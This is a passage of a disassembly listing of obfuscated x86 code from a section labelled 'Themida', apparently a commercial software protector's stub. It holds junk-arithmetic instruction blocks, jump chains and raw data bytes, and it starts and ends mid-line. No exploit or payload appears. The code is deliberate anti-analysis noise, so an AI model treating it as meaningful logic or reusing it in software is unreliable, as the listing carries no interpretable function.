0D7297D2Ah, 8BFB295Ah, 0C483243Ch, 0AAB7E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568316: ; CODE XREF: Themida_:0056A00Dj add edi, eax pop eax shl edi, 6 not edi add edi, 1 jmp loc_5686DF ; --------------------------------------------------------------------------- dw 41BDh dd 81388476h, 7431FFE5h, 0E2C58103h, 0E902AA06h, 0C51Bh dd 0FF8D01E9h, 0A8E956FFh db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_568347: ; CODE XREF: Themida_:00564F28j mov ebp, [esp] add esp, 4 push 118Ah mov [esp], ecx mov ebp, [esp] add esp, 4 mov ecx, [esp] add esp, 4 add [edi+24h], ebp pop ebp loc_56836B: ; CODE XREF: Themida_:0056F803j push esi jmp loc_56DE4A ; --------------------------------------------------------------------------- db 81h, 0C5h, 23h dd 5B1FB34Ch, 2474FF55h, 242C8B04h, 0AE2BE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568386: ; CODE XREF: Themida_:0056725Cj mov ebp, 4 jmp loc_564ED8 ; --------------------------------------------------------------------------- dd 4AE9C601h, 0F7000045h, 0E99C241Ch, 0FFFF8CA2h, 0B6EA814Ah dd 811C486Bh, 0CA7DB1C2h, 12C2811Ah, 6821C926h, 2B5Eh dd 51243C89h, 6A013368h, 0D1F75960h, 1FEBC181h, 0E9506CA9h dd 39A5h ; --------------------------------------------------------------------------- loc_5683D0: ; CODE XREF: Themida_:0057635Aj push ebp push 6731h mov [esp], esi mov esi, 7B5E2DD5h push esi dec dword ptr [esp] pop esi shl esi, 2 sub esi, 0B56F9CBAh mov ebp, esi pop esi jmp loc_565770 ; --------------------------------------------------------------------------- loc_5683F4: ; CODE XREF: Themida_:0056C35Dj add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_569C4C ; --------------------------------------------------------------------------- db 68h, 1Dh, 0Dh dd 0DCE90000h db 0C5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56840F: ; CODE XREF: Themida_:0056E85Ej add ebp, eax jmp loc_56B8E6 ; --------------------------------------------------------------------------- dw 0E821h dd 4EC815Dh, 89000000h, 0D5B9240Ch, 1539424h, 0AC82E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56842E: ; CODE XREF: Themida_:005725D3j sub ebx, ebp jmp loc_575EA0 ; --------------------------------------------------------------------------- loc_568435: ; CODE XREF: Themida_:0056D950j shr eax, 18h xor eax, ecx push 6D23h jmp loc_572ED8 ; --------------------------------------------------------------------------- loc_568444: ; CODE XREF: Themida_:0056B7F9j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_56CF31 ; --------------------------------------------------------------------------- dd 4C481h, 0E0C10000h, 71AE3502h, 99E97E57h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_56846B: ; CODE XREF: Themida_:0056F920j pop esi push 375Fh mov [esp], ebp jmp loc_566B80 ; --------------------------------------------------------------------------- db 0B9h, 6Eh, 0D5h dd 0CD019487h, 592434FFh, 0E904C483h, 0A2D9h, 8059CC20h dd 0ECD0E8CCh, 8003B652h, 0EE8046F6h, 9F6AE903h, 0F381FFFFh dd 0F754A8h, 6F25F381h, 0D889A9AAh, 5A18E95Bh, 14890000h dd 57E28924h, 1E5DD0BFh, 399E904h, 0F7410000h, 6339E9D9h dd 0F0010000h, 0E278A82Dh, 24348B7Ch, 5104C483h, 2B9h dd 12BB5300h, 57E3166h, 1B401141h, 412DD829h, 8B1B4011h dd 0C483241Ch, 326C0504h, 0C8014A25h, 25326C2Dh, 0EABB534Ah dd 0F7385E0Eh, 2E3C1D3h, 945CE952h, 6850FFFFh, 7FC1h, 0BA068h dd 24248900h, 4240483h, 8324048Fh, 58042404h, 47536856h dd 3C890000h, 0C8BA5224h, 0F749E262h, 81E281DAh, 4A278067h dd 0FFB080E9h db 0FFh ; --------------------------------------------------------------------------- loc_56854D: ; CODE XREF: Themida_:0056BFA1j xor ebp, [esp] pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_561042 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0EFC0ECB7h, 0E9C7FE03h, 1367h ; --------------------------------------------------------------------------- loc_568570: ; CODE XREF: Themida_:00576001j pop esi xchg edx, [esp] pop esp push 28C8h mov [esp], ebx push 2000h mov ebx, [esp] add esp, 4 and eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx push ebp jmp loc_5619CB ; --------------------------------------------------------------------------- loc_568597: ; CODE XREF: Themida_:00568BFDj sub esp, 4 mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 jmp loc_56D4E0 ; --------------------------------------------------------------------------- loc_5685B0: ; CODE XREF: Themida_:0056D993j pop dword ptr [edi+20h] add dword ptr [edi+20h], 0F448C3h jmp loc_56AF8C ; --------------------------------------------------------------------------- db 29h dd 0E573E9FAh, 5759FFFFh, 0C7815F54h, 4, 4C781h, 3C870000h dd 63E95C24h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5685DF: ; CODE XREF: Themida_:00567BE3j push edi mov edi, 28AA1849h sub edi, 4FBC124Eh jmp loc_57268B ; --------------------------------------------------------------------------- dd 0B1C1815Ah, 8158CF37h, 482657C1h, 0E9F1017Dh, 0CCC0h dd 0D3968h, 241C8900h, 33081968h, 0A7E95B82h, 330000AAh dd 1C31241Ch, 241C3324h, 4C4835Ch, 0B6F8E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56862A: ; CODE XREF: Themida_:005709F7j push dword ptr [esp] jmp loc_5725E6 ; --------------------------------------------------------------------------- dw 95Bh dd 24348BF0h, 5504C483h, 4206CBBDh, 0E9E8017Eh, 6670h dd 555EEA81h, 0F2015959h, 555EC281h, 685E5959h, 5BBAh dd 0BF243C89h, 2, 11DBC281h, 0FA0166A3h, 11DBEA81h, 34FF66A3h dd 89515F24h, 4C181E1h, 83000000h, 0C3304C1h, 240C3124h dd 5C240C33h, 31241433h, 14332414h, 4285C24h, 0A3E99C24h dd 81FFFF89h, 672C8EC6h, 2E6C115h, 89A0F681h, 0F521DCDFh dd 2E5C15Eh, 0ED7E581h, 0C581257Eh, 35AA5A88h, 2D34A22Dh dd 12BE970h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5686CA: ; CODE XREF: Themida_:00567E21j mov ebx, 2 add ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] push ebx push eax jmp loc_564BC2 ; --------------------------------------------------------------------------- loc_5686DF: ; CODE XREF: Themida_:00568321j xor edi, 13C73422h xor ecx, edi pop edi jmp loc_576AEE ; --------------------------------------------------------------------------- db 0F6h, 0DAh, 80h dd 0D48852F2h, 0CEB2525Ah, 0C2FEDAF6h, 1E63E9h, 4C68100h dd 87000000h, 55C2434h, 31CE5001h, 9DCAE9h db 0 ; --------------------------------------------------------------------------- loc_568715: ; CODE XREF: Themida_:00572615j add esp, 4 jmp loc_570DEC ; --------------------------------------------------------------------------- db 5Fh, 0FFh, 34h dd 24348B24h, 4C481h, 89570000h, 4C781E7h, 83000000h, 3C8704C7h dd 34FF5C24h, 89565824h, 4C681E6h, 81000000h, 4C6h, 24348700h dd 0DCEAE9h db 0 ; --------------------------------------------------------------------------- loc_568755: ; CODE XREF: Themida_:0056CE0Fj dec ebx add ebx, 7DA80FBEh and ebx, 54A30BB3h xor ebx, 658A51AEh add ebx, 323C213Dh add ebx, 6C398B38h add ecx, ebx pop ebx jmp loc_56BC1E ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFFFBEDh, 0E1E9DA01h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56878B: ; CODE XREF: Themida_:00565D5Fj add esp, 4 push edx push dword ptr [esp+4] mov edx, [esp] push ebx mov ebx, esp jmp loc_5615D8 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0C4E90000h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_5687AB: ; CODE XREF: Themida_:0056183Dj pop eax mov [edi+eax*4], bl pop ebx jmp loc_561042 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 0FFB135E9h db 0FFh ; --------------------------------------------------------------------------- loc_5687C1: ; CODE XREF: Themida_:0056DAB8j and ebx, 79B877E4h sub ebx, 13134E50h or ebx, 6C4077B3h xor ebx, 70B14F4Ch sub ebx, 0FE506E89h add esi, ebx mov ebx, [esp] add esp, 4 sub esi, 373C2382h jmp loc_5630C4 ; --------------------------------------------------------------------------- db 1, 0E8h, 56h dd 6176857h, 0E95F12BAh, 0AAA7h, 2B8h, 58C10100h, 8B240C87h dd 0C82C2424h, 0C804F800h, 34FF1F04h, 0D7EAE924h, 2DADFFFFh dd 49906D20h, 0CA6851h, 2C890000h, 0F6BB5324h, 0F7024D07h dd 0A8B951DBh, 318304FBh, 240C8BCBh, 8904C483h, 3B95BDDh dd 1A4AC75h, 5389E9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_568856: ; CODE XREF: Themida_:00561583j add bl, dh pop dx jmp loc_5757F4 ; --------------------------------------------------------------------------- db 0D1h dd 1CC781EFh, 1FDF0D1h, 0B8505FFAh, 4, 8758C229h, 0B3E92414h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56887B: ; CODE XREF: Themida_:00566A50j mov eax, 3CD277Fh jmp loc_574261 ; --------------------------------------------------------------------------- db 68h, 0DDh, 0Dh dd 8F540000h, 4812404h, 424h, 0E9565F00h, 0FFFFAAD3h, 8088B551h dd 0D5F62DC5h, 3F9BE9h db 0 ; --------------------------------------------------------------------------- loc_5688A9: ; CODE XREF: Themida_:005708D3j xor ecx, ebp pop ebp jmp loc_566E63 ; --------------------------------------------------------------------------- loc_5688B1: ; CODE XREF: Themida_:00570C99j mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_575574 ; --------------------------------------------------------------------------- aISS db '‰,$éÎs',0 dd 8DEA8100h, 52F85DCBh, 21242C81h, 59086417h, 1721BA52h dd 0C1810864h, 351E0E79h, 0E981D101h, 351E0E79h, 24148B5Ah dd 81E68956h, 4C6h, 4C68300h, 31243433h, 34332434h, 24248B24h dd 0D913E9h, 89575C00h, 4C781E7h, 0E9000000h, 0FFFF8E12h dd 1B860566h, 2360E9h, 24148B00h, 0FFA3E7E9h, 241C8BFFh dd 5204C483h, 88E18851h, 240C8BCAh, 4C481h, 0D3880000h dd 325DE9h db 0 ; --------------------------------------------------------------------------- loc_568949: ; CODE XREF: Themida_:00568FE3j mov edx, 7AEB693Dh mov esi, 26AD5345h xor esi, edx jmp loc_566299 ; --------------------------------------------------------------------------- dw 525Fh dd 5793B850h, 74052458h, 2D3FA56Eh, 5BF19A09h, 4A58C289h dd 18C1C281h, 0D10944EAh, 5A2434FFh, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0E95C243Ch, 0A037h, 24148B66h, 147E68h, 240C8900h dd 0FFF397E9h db 0FFh ; --------------------------------------------------------------------------- loc_5689A5: ; CODE XREF: Themida_:0056BDC2j neg ecx jmp loc_571699 ; --------------------------------------------------------------------------- dd 24048B66h, 1AC468h, 24148900h, 24148B54h, 4C481h, 5EE90000h dd 5CFFFF99h, 34FFD901h, 1324E924h, 29680000h, 89000062h dd 75682404h, 58299E66h, 5DADE9h, 4EEC100h, 0BA69E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5689EE: ; CODE XREF: Themida_:0056DEC9j or ebx, esi mov esi, [esp] jmp loc_5767EF ; --------------------------------------------------------------------------- aXst db 'Xéâß',0 align 2 dw 1C87h dd 0AC99E924h, 26B9FFFFh, 101A00Ch, 0BE5659CDh, 26060E0h dd 0D721E9h, 48F5900h, 24248B24h, 0DFD1E9h db 0 ; --------------------------------------------------------------------------- loc_568A25: ; CODE XREF: Themida_:00564CD2j push 1262h mov [esp], ebp push edi jmp loc_561F51 ; --------------------------------------------------------------------------- db 8Fh dd 54502404h, 40558h, 0BB530000h, 4, 875BD829h, 0B1E92404h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_568A4F: ; CODE XREF: Themida_:0056F5C1j mov [esp], ecx mov ecx, 1909133Fh xor ecx, 268C022Bh and esi, ecx jmp loc_56CDAA ; --------------------------------------------------------------------------- loc_568A64: ; CODE XREF: Themida_:005679BFj sub edx, ebp jmp loc_57517D ; --------------------------------------------------------------------------- loc_568A6B: ; CODE XREF: Themida_:0056A533j push esp push dword ptr [esp] jmp loc_572AE0 ; --------------------------------------------------------------------------- dd 241C8966h, 0FE8817B7h, 80AAE9h, 1C895C00h, 4DE924h dd 1590000h, 0BF575AD0h, 742B0B01h, 0BDE2EF81h, 0A82DFE9Eh dd 0E950934Ch, 4EC9h, 3304C483h, 1C31241Ch, 241C3324h dd 0B9CCE95Ch, 0C681FFFFh, 4, 0FF894BE9h, 895258FFh, 4C281E2h dd 83000000h, 148704C2h, 0B5E95C24h, 890000ABh, 0DD21E9E3h dd 8F5EFFFFh, 0E95C2404h, 99C7h ; --------------------------------------------------------------------------- loc_568AE8: ; CODE XREF: Themida_:0056C6B8j pop edi push edi push 7C8Ah mov [esp], eax push 4 pop eax push eax pop edi jmp loc_5681BF ; --------------------------------------------------------------------------- db 5 dd 4, 5C240487h, 6871B450h, 7076h, 0B1240C89h, 80C9FEE9h dd 6DE9A2E9h, 0BAFFFFF9h, 582F5398h, 2475E953h, 0D1590000h dd 0A792E9EBh, 815E0000h, 4C4h, 0BA95E900h, 0C14F0000h dd 0DFF707E7h, 0A2DBE953h, 0BBE0000h, 31774852h, 0E1C15EF1h dd 0D87CE906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568B5A: ; CODE XREF: Themida_:00566294j add esp, 4 jmp loc_56BA6E ; --------------------------------------------------------------------------- db 42h, 81h, 0ECh dd 4, 0B8240489h, 1B600935h, 0FFA64FE9h db 0FFh ; --------------------------------------------------------------------------- loc_568B79: ; CODE XREF: Themida_:0056FC44j push eax push edx mov dh, 7Ah mov ah, 0Bh sub ah, 0BCh add ah, dh add ah, 0BCh pop edx add ah, 7 xor bh, ah jmp loc_56EB3A ; --------------------------------------------------------------------------- dw 489h dd 7D03B824h, 43E95391h, 66FFFFD9h, 0DBF2E953h, 0D6F70000h dd 0E781F787h, 608C723Dh, 0CF81D7F7h, 6E5C5A8Dh, 29CBF781h dd 0BB5337C3h, 674C5FDFh, 2850E381h, 0E3C10880h, 9FEB8104h dd 8160E53Bh, 0E4EA98F3h, 5BDF2931h, 0BDE9FA29h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568BE3: ; CODE XREF: Themida_:00572126j mov ebp, 39A7F4BCh jmp loc_568F31 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 8480E9h db 0 ; --------------------------------------------------------------------------- loc_568BF5: ; CODE XREF: Themida_:005755AAj push 3F05h mov [esp], eax jmp loc_568597 ; --------------------------------------------------------------------------- loc_568C02: ; CODE XREF: Themida_:0056718Ej pop ebx shr edx, 5 jmp loc_568D17 ; --------------------------------------------------------------------------- db 28h dd 148B66D7h, 1D39E924h, 0C890000h, 0BE565324h, 304C531Ah dd 0F65191BBh, 5EF33139h, 0D61728B9h, 68C1813Bh, 0E97DED11h dd 5BA9h, 50585950h, 0CA502568h, 0DF2D586Dh, 89112E8Bh dd 0C1F8E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_568C4E: ; CODE XREF: Themida_:0056E6AEj add ebp, 3B2C2FA7h shr ebp, 7 not ebp sub ebp, 7E9DA37Ch jmp loc_563F05 ; --------------------------------------------------------------------------- dd 0FFFFFF68h, 24048BFFh, 2904C483h, 0C7E958C7h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568C77: ; CODE XREF: Themida_:00565952j sub edi, 60C2531Ah push ecx mov ecx, edi mov esi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_562ACC ; --------------------------------------------------------------------------- loc_568C91: ; CODE XREF: Themida_:00561367j mov ebp, [esp] sub esp, 4 mov [esp], eax jmp loc_576381 ; --------------------------------------------------------------------------- db 81h dd 0AE444CEFh, 0BB53580Bh, 3ED03175h, 1D38E381h, 81431B77h dd 0BEB293EBh, 5BDF29BFh, 592AE9h, 240C3100h, 8B240C33h dd 0E9F62424h, 0CCB60F66h, 916866h, 240C8966h, 0C8B60F66h dd 0E99C5166h, 0FFFF835Eh, 4C5DBB53h, 0B9515551h, 0B23437Ch dd 0E906E9C1h, 35Ah ; --------------------------------------------------------------------------- loc_568CF8: ; CODE XREF: Themida_:00575CC3j mov ebx, [esp] jmp loc_565596 ; --------------------------------------------------------------------------- aI4Hm db '\‰4$hŒ~',0 dd 4EC3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_568D0E: ; CODE XREF: Themida_:005665F1j xchg ebp, [esp] pop esp jmp loc_563BC0 ; --------------------------------------------------------------------------- loc_568D17: ; CODE XREF: Themida_:00568C06j push ebp mov ebp, 460603B8h add edx, ebp pop ebp push edx jmp loc_56114E ; --------------------------------------------------------------------------- aT_h db 'T_h',8,'~',0 dd 241C8900h, 0E51D56BBh, 0AEC38176h, 1891AE2h, 5C7AE9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_568D42: ; CODE XREF: Themida_:0056248Aj pop esp sub [edi+24h], ebp push dword ptr [esp] pop ebp add esp, 4 loc_568D4D: ; CODE XREF: Themida_:00575D00j push ebp sub esp, 4 mov [esp], ecx push ebx jmp loc_5766CB ; --------------------------------------------------------------------------- loc_568D5A: ; CODE XREF: Themida_:00576581j sub esi, edx jmp loc_568FDB ; --------------------------------------------------------------------------- loc_568D61: ; CODE XREF: Themida_:0056AEF0j sub [esp], eax jmp loc_574C4E ; --------------------------------------------------------------------------- db 59h, 53h, 0BBh dd 6EB7EC6h, 44E7E381h, 0F3811A18h, 1CBB164Ah, 4B08E3C1h dd 0C0E9D3F7h, 5100003Eh, 4BD55h, 0E9890000h, 168FE9h db 0 ; --------------------------------------------------------------------------- loc_568D95: ; CODE XREF: Themida_:00565BDEj pop ecx push edi sub dword ptr [esp], 3664897h mov eax, [esp] add esp, 4 jmp loc_571A59 ; --------------------------------------------------------------------------- dd 2C1668h, 240C8900h, 0EE68E189h, 8900005Bh, 1868242Ch dd 89000047h, 62E92404h, 6600007Bh, 1FE9C331h, 560000ABh dd 4BEh, 5EF32900h, 5C241C87h, 0BB241C89h, 2, 515BD901h dd 42474FFh, 83240C8Bh, 0FE904C4h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_568DFB: ; CODE XREF: Themida_:00575A0Bj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_574689 ; --------------------------------------------------------------------------- a_bsYSt db '_é]',1Bh,'Y-éâ',0Bh,0 align 4 dd 0E906EBC1h, 0FFFFD300h ; --------------------------------------------------------------------------- loc_568E24: ; CODE XREF: Themida_:005671AFj pop edx jmp loc_572DD9 ; --------------------------------------------------------------------------- dw 0C329h dd 1B93EB81h, 315804A8h, 0EB015BDDh, 52242C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 0C3815C24h, 2, 31241C33h, 1C33241Ch dd 0F3E95C24h, 58000058h, 51A968h, 24048900h, 24048B54h dd 4C481h, 0EC830000h, 243C8904h, 93E5E950h, 3C8BFFFFh dd 15F6E924h, 0E9500000h, 556h, 8159CF09h, 0A8B08FF7h dd 8BFE015Eh, 0C481243Ch, 4, 5296BF57h, 0B9510952h, 0 dd 0CD0EE9h, 7E28100h, 5332081Ah, 1172CEBBh, 0E2EB8177h dd 17D0B22h, 0C1815BDAh, 7A861E20h, 0E957D101h, 0DADBh dd 4C481h, 0C1810000h, 4, 8B240C87h, 53E92424h, 5FFFF81h dd 4, 22Dh, 24043300h, 33240431h, 8FE92404h, 8100009Bh dd 7502D1C5h, 7EDC13Eh, 0FFF37CE9h, 24048FFFh, 2414895Ch dd 0FF8121E9h, 4C483FFh, 0D051E9h, 3EC78000h, 8E43E9h db 0 ; --------------------------------------------------------------------------- loc_568F31: ; CODE XREF: Themida_:00568BE8j push edi mov edi, 4C51328Eh sub edi, 3AF06148h dec edi or edi, 0F895953h add edi, 200F74F3h shl edi, 7 add edi, 5D2DD6Eh jmp loc_571C8C ; --------------------------------------------------------------------------- dd 4BB53h, 7BE90000h, 0B3000081h, 80DBF6DAh, 0F380A3E3h dd 6AF38005h, 41F380h, 0BF5CE9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_568F7A: ; CODE XREF: Themida_:00562C35j push 59B1h jmp loc_5664FD ; --------------------------------------------------------------------------- loc_568F84: ; CODE XREF: Themida_:0056206Dj mov ecx, 71F14037h jmp loc_5627CE ; --------------------------------------------------------------------------- dw 8CBAh dd 516BAF46h, 0CB02E9h, 24248900h, 4240483h, 3DA2E9h, 0FB76800h dd 4890000h, 7E9B6824h, 31583FFFh, 72E958C1h, 6600003Bh dd 7FE9028Fh, 58FFFF80h, 34D6BF57h, 0FB297A9Bh, 240C8B5Fh dd 4C481h, 21E90000h db 0B8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_568FDB: ; CODE XREF: Themida_:00568D5Cj pop edx xchg esi, [esp] pop esp mov [esp], edx jmp loc_568949 ; --------------------------------------------------------------------------- dd 1C46EA81h, 0B68C8C5h, 89000012h, 0E9502434h, 8DA0h dd 0E9D7015Dh, 0FFFFD03Fh, 697BBF57h, 0B951619Fh, 5221101h dd 2A61E181h, 0E9C15527h, 0CEBCE907h, 0E3890000h, 0AFC0E9h dd 806DB400h, 0B5515EE4h, 1C580B1h, 74ED80h, 0EC8059ECh dd 673FE9FFh, 0BF5E0000h, 282D6274h, 815EF731h, 9F1D78EFh dd 7A71E901h, 0C9810000h, 53E4291Bh, 0F181D1F7h, 0E50505CFh dd 7EF6E9h db 0 ; --------------------------------------------------------------------------- loc_569065: ; CODE XREF: Themida_:00568149j mov eax, 4 jmp loc_5769C7 ; --------------------------------------------------------------------------- db 1 aSo db 'ÖéOÎ',0 align 2 dw 0D7F6h dd 0F8885066h, 0C5E9D0F6h, 28FFFFB2h, 0C892E9F7h, 50560000h dd 0AC94E9h, 85ABA00h, 0E953064Bh, 0D0D1h, 240C8B66h, 4EC81h dd 66E90000h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_5690AB: ; CODE XREF: Themida_:005716D5j add [esp+4], edx pop edx pop ebp push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] jmp loc_57338F ; --------------------------------------------------------------------------- db 81h, 0E9h, 77h dd 81352862h, 4F586AC1h, 0BB53585Bh, 4, 5D74C181h, 0D9013434h dd 4EC81h, 34890000h, 476EE924h, 895C0000h, 0C6E9241Ch db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5690F3: ; CODE XREF: Themida_:00564EE6j add ebp, 4 xchg ebp, [esp] jmp loc_563F6C ; --------------------------------------------------------------------------- loc_5690FE: ; CODE XREF: Themida_:00575F0Aj push 24AEh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_563ECD ; --------------------------------------------------------------------------- db 81h dd 4C4h, 6BBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56912A: ; CODE XREF: Themida_:00563C94j mov ebx, esp jmp loc_5648EC ; --------------------------------------------------------------------------- db 81h, 0C1h, 0C0h dd 0E912B75Bh, 4F2Eh ; --------------------------------------------------------------------------- loc_56913C: ; CODE XREF: Themida_:00563AA8j add ebp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_562CF2 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 1EAE9h, 4EC8100h, 89000000h, 0EDB82404h, 0F728A610h dd 53E2E9D0h, 4D680000h, 89000002h, 0C9B82404h, 2902B179h dd 0C0A3E9C1h, 34FFFFFFh, 0C4835A24h, 2434FF04h, 4C4815Fh dd 50000000h, 0AEE9C889h, 5FFFFFB5h, 32ACE9h, 35C38100h dd 52559636h, 1677AEBAh, 0DFF28118h, 8157B042h, 0A223EAC2h dd 5AD3090Ah, 8108EBC1h, 0C568BDC3h, 16EB811Bh, 11C2432h dd 14335BDAh, 24143124h, 0FFC7D2E9h, 3FE981FFh, 1F1B2BDh dd 5412E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5691EE: ; CODE XREF: Themida_:0057248Dj sub edx, 71A81Eh jmp loc_563067 ; --------------------------------------------------------------------------- aZSQ db 'Z(Ãé¸q',0 dd 8BF32900h, 0C4832434h, 81D30104h, 564498C3h, 24148B2Fh dd 4C481h, 0BF570000h, 2, 344AC381h, 27E95D80h, 81FFFF9Ah dd 1201D7C2h, 81C22902h, 1201D7EAh, 9AE95802h, 0B8FFFFAAh dd 4, 41E9C189h, 51FFFF94h, 0D1CCE9h, 78EA2D00h, 0F050F88h dd 5D206227h, 2B53BF57h, 0E7C1625Fh, 815DE908h, 0E189FFFFh dd 4C181h, 0C1830000h, 2C9FE904h, 0F2010000h, 3711C281h dd 348B6DD5h, 4C48124h, 33000000h, 1BE92414h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_569293: ; CODE XREF: Themida_:005743F4j pop edx push ecx mov ecx, 52CAAFA5h sub edx, ecx pop ecx push edx add dword ptr [esp], 7A9C2D94h pop edi jmp loc_56774C ; --------------------------------------------------------------------------- db 0C1h dd 0BA5208E8h, 1C4C670Ch, 37EEE9h, 4C28100h, 0E9000000h dd 0FFFF88A5h, 4EC8152h, 89000000h, 7AB42404h, 48BE688h dd 4C48124h, 0B7000000h, 8BF730B7h, 0AE92414h, 800000C4h dd 49E901EEh, 89000007h, 468243Ch, 5F000000h, 51D76852h dd 7DE90000h, 0C10000A1h, 0C38106EBh, 0C4827DCh, 0BB2DBE56h dd 0F329E2BFh, 5BD9295Eh, 5624F181h, 0E98174C0h, 44B8A3E8h dd 0E959CF01h, 21B5h, 0EA2927BDh, 0E9EE2900h, 0FFFFC8D7h ; --------------------------------------------------------------------------- loc_569338: ; CODE XREF: Themida_:0056FC3Cj inc esi not esi add esi, 780771A3h mov ebp, esi pop esi sub esi, ebp jmp loc_56234A ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24548A00h, 245C8802h, 0E95B6602h, 1E20h, 0B9240C89h dd 5D7E0C84h, 81BDE9h, 3FC38100h, 2923AE29h, 3FEB81D3h dd 5A23AE29h, 0FFA990E9h db 0FFh ; --------------------------------------------------------------------------- loc_569381: ; CODE XREF: Themida_:00566613j mov [esp], edx mov dh, bh mov cl, dh pop edx mov [edi+38h], cl pop ecx pop ebx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5628D8 ; --------------------------------------------------------------------------- aSi_1 db '^éë;',0 align 10h dd 4BAh, 5AD52900h, 8B242C87h, 14892424h, 0F6D7B624h, 0B15150D6h dd 59C888E5h, 6214E9h, 51D0F700h, 0CBB4D1B9h, 59C829C2h dd 6AF6E9h, 81D9F700h, 4ECh, 243C8900h, 0B36D3BBFh, 28D9E96Eh dd 74B80000h, 0C106BD42h, 0AC2D08E8h, 29E2B46Bh, 24048BC3h dd 4C481h, 0EB810000h, 3BAB4D81h, 0D6CE9h, 24048B00h, 0E904C483h dd 0FFFFF28Bh, 5D1BBB53h, 0D90968EDh, 80E1815Bh, 0F72B9A44h dd 85C181D1h, 812B8A44h, 974515EBh, 81CB015Fh, 974515C3h dd 6C68595Fh, 89000066h, 0F8E92434h, 81000035h, 4ECh, 242C8900h dd 1F568h, 44B26800h, 0EC830000h, 24248904h, 4240483h dd 8324048Fh, 0E9042404h, 0CF4Dh, 5FFD015Dh, 339968h, 0B09DE900h dd 5B58FFFFh, 0F0E95053h, 9000027h, 0F3815AD3h, 1588BE0Fh dd 0C15BDD31h, 35E904E5h, 100009Fh, 0FA015DEAh, 56FAEA81h dd 815F4369h, 4ECh, 0C5AAE900h, 0C89FFFFh, 4CC3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5694BA: ; CODE XREF: Themida_:0056969Fj pop ecx dec ecx sub esp, 4 mov [esp], ebx mov ebx, 788A0AE5h sub ebx, 14C204F4h sub ecx, ebx jmp loc_5657C3 ; --------------------------------------------------------------------------- db 0B1h dd 59CC0886h, 0F5B05053h, 2870E951h, 5AD0000h, 76165F44h dd 2EA9BA52h, 0EA813A0Dh, 255F48F0h, 54BBF281h, 0BF57236Ah dd 2BE62FD8h, 2414F757h, 81243C8Bh, 4C4h, 0C1D7F700h, 0EFC107EFh dd 9FEF8108h, 0E9165D06h, 8098h, 0E93BB353h, 0FFFF9C1Ah dd 0A0C4E95Ah, 4330000h, 0B06EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56953A: ; CODE XREF: Themida_:0056526Aj shl edx, 6 and edx, 30850148h shl edx, 5 sub edx, 108007FCh add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov bh, ah mov dl, bh mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_561933 ; --------------------------------------------------------------------------- loc_56956E: ; CODE XREF: Themida_:00563707j sub eax, 2E741DAFh add eax, edx sub esp, 4 jmp loc_56C2AF ; --------------------------------------------------------------------------- db 5Bh, 56h, 0FFh dd 8B042474h, 0C4812434h, 4, 8B24048Fh, 3C892424h, 876BF24h dd 0E78119B6h, 254C7F0Bh, 8FE9DFF7h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5695A7: ; CODE XREF: Themida_:00561A8Bj mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] shr eax, 10h xor eax, ecx jmp loc_571BC9 ; --------------------------------------------------------------------------- dd 0F500CFB5h, 6DED805Ah, 0C580C5FEh, 